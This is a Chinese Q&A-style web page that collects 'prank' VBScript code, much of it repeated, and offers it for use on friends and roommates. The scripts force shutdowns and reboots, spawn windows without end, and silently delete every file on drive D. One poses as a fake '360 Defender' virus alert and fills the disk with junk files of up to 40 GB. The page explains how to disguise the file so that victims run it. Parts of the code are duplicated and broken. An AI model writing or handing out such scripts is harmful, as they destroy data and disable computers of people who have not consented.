恶搞vbs代码,求大量VBS整人代码.

恶搞vbs代码,求大量VBS整人代码.详细介绍

本文目录一览： 有没有一些恶搞别人的vbs代码

请点击展开进行观看
代码一：无限弹出信息框 双引号内可以自行修改
do
msgbox "爱邱哥爱生活"
loop
代码二：打开N个计算器，到电脑死机
et wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
代码三：电脑关机
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
代码四：格式化D盘
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
代码五：不断弹出N个窗口 双引号内可以自行修改
while(1)
msgbox "关不掉我了，爱邱哥爱生活"
loop
代码六：不断按alt+f4，开什么软件都自动关闭
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
代码七：按500次回车 双引号内可以自行修改
dim s
do until s=500
s=s+1
msgbox "500次回车是什么体验？爱邱哥爱生活",64
loop
代码八：关不掉的窗口（不停复制粘贴输入这个代码 可自行修改双引号内容 例子如下 可以复制N个）
WScript.Echo("嘿，我是邱哥"&TSNam）
WScript.Echo("你是谁")
WScript.Echo("哈哈哈，邱哥牛逼")
代码九：不说我是猪，电脑就自动关机
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a > "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
代码十：超强整人
set ws=createobject("wscript.shell")
call shutdown(1)
do while a>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub

有没有一些恶搞别人的vbs代码

请点击展开进行观看
代码一：无限弹出信息框 双引号内可以自行修改
do
msgbox "爱邱哥爱生活"
loop
代码二：打开N个计算器，到电脑死机
et wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
代码三：电脑关机
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
代码四：格式化D盘
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
代码五：不断弹出N个窗口 双引号内可以自行修改
while(1)
msgbox "关不掉我了，爱邱哥爱生活"
loop
代码六：不断按alt+f4，开什么软件都自动关闭
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
代码七：按500次回车 双引号内可以自行修改
dim s
do until s=500
s=s+1
msgbox "500次回车是什么体验？爱邱哥爱生活",64
loop
代码八：关不掉的窗口（不停复制粘贴输入这个代码 可自行修改双引号内容 例子如下 可以复制N个）
WScript.Echo("嘿，我是邱哥"&TSNam）
WScript.Echo("你是谁")
WScript.Echo("哈哈哈，邱哥牛逼")
代码九：不说我是猪，电脑就自动关机
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
代码十：超强整人
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
该代码是定时关机的，破解方法：打开了就知道了。
msgbox"Say Goodbye on your computer!"
do
Dim objws
Set objws=WScript.CreateObject("wscript.shell")
objws.SendKeys "^+{ESC}"
loop
（注意！这里每一行都会空格，请取消掉，不然运行不了！）
保存vbs到桌面！！！！，注意！这可能会让电脑无法使用！请用虚拟机尝试！后果自负！
do
msgbox"叫你别点就别点，现在关不掉了吧，哈哈！"
loop
最后，把文件名改为“好奇心重的千万别点.vbs”就完成了！
简单吧？？
用vbs做出一个简单的电脑病毒，没有任何危害，快去恶搞室友吧！
自编vbs仅供娱乐！！！
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" '《江南皮革厂倒闭了》
msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox "自己探寻吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" & chr(34) & "wscript.shell" & chr(34) & ").run " & chr(34) & "D:\1.vbs" & chr(34)
qwriteb.WriteLine "msgbox " & chr(34) & "滚" & chr(34) & ",vbokonly+vbinformation," & chr(34) & "360 Defender" & chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF

vbs整人代码，超搞笑，共3个

VB经常被用来编写一些整人的脚本程序，那么如何编写这类的程序呢？下面我给大家展示一下。
工具/材料 Sublime Text
01 首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示
02 然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗
03 接下来这个脚本每一次循环会展示4个弹窗，每个弹窗的内容不一样，每个弹窗的弹出间隔为1秒，如下图所示
04 最后一个脚本是带交互功能的，被整的人只有输入指定的内容才能关闭脚本，否则脚本会一直循环弹出，如下图所示

vbs整人代码

完整代码如下：
---------------------------------------------------------------------
set vbs = createobject("Wscript.shell")
a = inputbox("请输入" & vbcr & """我是大笨蛋""" & vbcr & "否则电脑将立即重启。", "笨蛋炸弹")
if a <> "我是大笨蛋" then
vbs.run("shutdown -r -t 0"),vbhide
end if
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把代码拷贝到记事本里，另存文件为*.vbs，发给你朋友，让他双击这个文件他就上当了。
通过QQ发送时，你可以先把后缀名改为txt或者doc之类的，然后告诉你朋友让他手动把后缀名改为vbs，再让他双击文件就OK了。
给你出这么馊的注意，我都心寒……
友情提示：玩笑不要开得太大哦，让你的朋友丢失了重要资料就不好了。

求大量VBS整人代码.

大量的楼上已经说了。这个是本人原创，亲测有用。毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件（请准备好30G空间）【具体在代码中】
仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" ' 《江南皮革厂倒闭了.mp3》请准备好放在D:\
msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox "自己探寻吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" & chr(34) & "wscript.shell" & chr(34) & ").run " & chr(34) & "D:\1.vbs" & chr(34)
qwriteb.WriteLine "msgbox " & chr(34) & "滚" & chr(34) & ",vbokonly+vbinformation," & chr(34) & "360 Defender" & chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF
大量的楼上已经说了。这个是本人原创，亲测有用。毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件（请准备好30G空间）【具体在代码中】
